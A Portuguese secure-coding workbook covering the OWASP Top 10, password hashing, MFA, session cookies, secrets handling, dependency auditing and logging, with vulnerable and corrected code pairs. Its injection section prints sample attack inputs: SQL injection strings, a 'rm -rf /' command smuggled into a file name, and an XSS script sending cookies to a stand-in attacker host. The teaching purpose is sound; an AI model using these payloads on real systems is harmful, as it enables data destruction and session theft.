Partilhar: WhatsApp
aulify · Sebenta
UC · Unidade de Competência · UC02836

Segurança no desenvolvimento de software

Sebenta · OWASP, autenticação, secrets
25h · 2.25 pontos crédito Curso: T. Desenv. Software ↗ Referencial oficial SNQ
Índice

Apresentação

UC02836 (25h · 2,25 pts) aborda segurança aplicacional. O foco é em práticas que o programador controla: validação de input, prepared statements, hash de palavras-passe, gestão de sessão, gestão de secrets, vigilância de dependências.

OWASP Top 10

OWASP (Open Web Application Security Project) publica regularmente o Top 10 de vulnerabilidades mais comuns em aplicações web. A versão 2021/2023:

  1. Broken Access Control — falha em verificar permissões.
  2. Cryptographic Failures — dados sensíveis expostos.
  3. Injection — SQL, command, LDAP, etc.
  4. Insecure Design — falhas arquitecturais.
  5. Security Misconfiguration — defaults inseguros.
  6. Vulnerable and Outdated Components.
  7. Identification and Authentication Failures.
  8. Software and Data Integrity Failures.
  9. Security Logging and Monitoring Failures.
  10. Server-Side Request Forgery.

Broken Access Control

Aplicação não verifica se utilizador autenticado pode aceder ao recurso.

# ERRADO
@app.route("/admin/users")
def listar_users():
    return User.query.all()  # qualquer pessoa autenticada acede

# CORRECTO
@app.route("/admin/users")
@login_required
@admin_required
def listar_users():
    return User.query.all()

Aplicar verificações em toda endpoint sensível, não só na UI.

Injection

Mais perigoso e infelizmente comum.

SQL injection:

# ERRADO
nome = request.form["nome"]
query = f"SELECT * FROM users WHERE nome = '{nome}'"
cursor.execute(query)

Input malicioso: Ana' OR '1'='1 → devolve todos os utilizadores. Pior: '; DROP TABLE users; -- pode destruir a BD.

# CORRECTO — prepared statement
cursor.execute("SELECT * FROM users WHERE nome = %s", (nome,))

Driver escapa automaticamente. Nunca concatenar input do utilizador em SQL.

Command injection:

# ERRADO
import os
nome_ficheiro = request.args["f"]
os.system(f"cat /var/log/{nome_ficheiro}")

# Input malicioso: "x.log ; rm -rf /"
# CORRECTO
import subprocess
subprocess.run(["cat", f"/var/log/{nome_ficheiro}"], shell=False)
# Ou validar input contra whitelist primeiro.

XSS · Cross-Site Scripting

Atacante consegue inserir JavaScript que executa no browser de outros utilizadores.

<!-- Comentário público -->
<p>{{ comentario }}</p>

<!-- Input malicioso:
     <script>fetch('https://atacante.com?cookie='+document.cookie)</script>
-->

Frameworks modernos escapam por defeito:

Para HTML gerado por utilizador (CMS, comentários ricos), usar bleach (Python) ou DOMPurify (JS) para filtrar tags perigosas.

CSRF · Cross-Site Request Forgery

Site malicioso faz utilizador autenticado executar acção sem saber.

Mitigação: - CSRF tokens em formulários POST. - SameSite=Lax ou Strict em cookies. - CORS configurado correctamente.

Frameworks modernos têm proteção CSRF integrada (Flask-WTF, Django middleware, etc.).

Cryptographic Failures

Dados sensíveis expostos: - Senhas em texto plano ou hash fraco (MD5, SHA1). - Comunicação HTTP em vez de HTTPS. - Cifragem com chaves hardcoded. - Cifragem fraca (DES, RC4).

Boas práticas: - HTTPS sempre (em 2026 não há desculpa). - Hash de senhas com bcrypt, scrypt ou argon2. - Cifragem com AES-256-GCM ou ChaCha20-Poly1305. - TLS 1.2+ (idealmente 1.3).

Autenticação

Hashing de senhas

NUNCA guardar senhas em texto plano. NUNCA usar MD5/SHA1/SHA256 directo.

Funções lentas por design com salt automático:

import bcrypt

# Hashear
pwd = "senha-do-utilizador"
hashed = bcrypt.hashpw(pwd.encode(), bcrypt.gensalt(rounds=12))
# Guardar `hashed` na BD

# Verificar
if bcrypt.checkpw(pwd_input.encode(), hashed_da_bd):
    print("Login OK")
else:
    print("Senha incorrecta")

rounds=12 significa 2^12 iterações. Pode-se subir conforme hardware melhora.

Alternativas modernas: argon2-cffi, scrypt (em hashlib ou passlib).

Política de senhas

Em 2026 recomenda-se (NIST 800-63B): - Mínimo 12 caracteres. - Não exigir misturas obrigatórias de tipos (passwords longas e memoráveis > complexas curtas). - Verificar contra lista de senhas vazadas (haveibeenpwned API). - Sem expiração forçada (utilizadores escolhem piores depois). - Bloquear após 5-10 tentativas falhadas.

MFA

Múltiplos factores: - Algo que sabes — senha. - Algo que tens — telefone, chave. - Algo que és — biometria.

TOTP (Time-based One-Time Password):

import pyotp

# Gerar secret para utilizador
secret = pyotp.random_base32()
# Guardar em BD; mostrar QR code ao utilizador para Google Authenticator

# Verificar código
totp = pyotp.TOTP(secret)
if totp.verify(codigo_introduzido):
    print("MFA OK")

WebAuthn / FIDO2 — chave física (YubiKey) ou biometria do dispositivo. Mais resistente a phishing.

Sessões

Cookies de sessão com flags importantes:

# Flask
app.config.update(
    SESSION_COOKIE_HTTPONLY=True,   # JS não acede ao cookie
    SESSION_COOKIE_SECURE=True,     # só envia em HTTPS
    SESSION_COOKIE_SAMESITE="Lax",  # mitiga CSRF
    PERMANENT_SESSION_LIFETIME=timedelta(hours=2),
)

JWT (JSON Web Tokens) — alternativa stateless. Cuidados: - Expiração curta (15 min) + refresh token. - Validar assinatura sempre. - Não guardar dados sensíveis no token (visível em base64).

Validação e sanitização

Validar no servidor

Validação no cliente (HTML5, JavaScript) é só UX. Não impede ataques — utilizador pode usar curl, Postman ou alterar o JS.

Sempre validar no servidor.

# FastAPI + Pydantic
from pydantic import BaseModel, EmailStr, Field

class CriarUtilizador(BaseModel):
    email: EmailStr
    nome: str = Field(min_length=2, max_length=100)
    idade: int = Field(ge=13, le=120)
    password: str = Field(min_length=10)

@app.post("/users")
def criar(user: CriarUtilizador):
    # Pydantic já validou; se chegou aqui, é seguro
    ...

Em Flask, usar marshmallow ou flask-validator.

Sanitização vs validação

Exemplo: comentário com HTML. - Validar: máximo 5000 caracteres. - Sanitizar: remover <script>, manter <b>, <i>, <a>.

import bleach

html_seguro = bleach.clean(
    user_input,
    tags=["p", "b", "i", "u", "a", "ul", "li"],
    attributes={"a": ["href", "title"]},
    protocols=["http", "https", "mailto"]
)

Secrets

Não comitar senhas

# .gitignore
.env
secrets.json
*.pem
*.key
config.local.py
.aws/
# .env (NÃO comita)
DATABASE_URL=postgres://user:pass@host/db
SECRET_KEY=k9sj3kd2lm...
SMTP_PASSWORD=...

# main.py
import os
from dotenv import load_dotenv

load_dotenv()

DB_URL = os.environ["DATABASE_URL"]
SECRET_KEY = os.environ["SECRET_KEY"]

Em produção, secrets vêm das variáveis de ambiente do sistema (12-factor app).

Se um secret é commitado

  1. Revogar imediatamente (não basta apagar do código).
  2. Mudar todas as credenciais possivelmente comprometidas.
  3. Limpar histórico Git com git filter-repo ou BFG.
  4. Force-push (cuidado!) — pode quebrar branches de outros.

Cofres de secrets

Em produção empresarial: - HashiCorp Vault — open-source, on-premise ou cloud. - AWS Secrets Manager / AWS Parameter Store. - Azure Key Vault. - Google Cloud Secret Manager.

Vantagens: rotação automática, auditoria, controlo de acesso fino.

Dependências vulneráveis

70%+ do código moderno vem de bibliotecas externas. Cada uma é uma porta de entrada.

Detectar

# Python
pip install pip-audit
pip-audit

# Node
npm audit
npm audit fix

# GitHub Dependabot
# Activar em Settings → Security → Dependency graph

Boas práticas

Supply chain attacks

Atacante consegue infiltrar package legítimo: - Typosquattingrequets em vez de requests. - Compromisso de mantenedor — conta hackeada, publica versão maliciosa. - Dependency confusion — pacote interno com mesmo nome em PyPI público.

Mitigação: - Verificar nome exacto antes de pip install. - Usar registries privados para pacotes internos. - Pinning rigoroso de versões.

Logging e monitorização

Log adequado

import logging

logger = logging.getLogger(__name__)

# Log de auditoria — tentativas de login
logger.info(f"Login attempt: user={user.email} success={ok} ip={request.remote_addr}")

# NÃO logar
logger.info(f"User logged in with password {password}")  # ERRADO

Logar: - Tentativas de autenticação (sucesso/falha + IP). - Acessos a recursos sensíveis. - Operações administrativas. - Erros inesperados.

Não logar: - Senhas, tokens, cartões de crédito. - Dados pessoais excessivos.

Monitorizar

Apêndices

A · Cheatsheet defesa

# SQL: prepared statement
cursor.execute("SELECT * FROM x WHERE id = %s", (id,))

# HTML: confiar no escape do framework
{{ var }}  # NÃO {{ var|safe }}

# Password
bcrypt.hashpw(pwd, bcrypt.gensalt(12))

# Sessão
secure=True, httponly=True, samesite="Lax"

# Validação
pydantic / marshmallow

# Secrets
os.environ + .env

# Dependências
pip-audit, npm audit

B · Glossário

CSRF. Cross-Site Request Forgery. CVE. Common Vulnerabilities and Exposures. MFA. Multi-Factor Authentication. OWASP. Open Web Application Security Project. SSRF. Server-Side Request Forgery. TOTP. Time-based One-Time Password. XSS. Cross-Site Scripting.

C · Recursos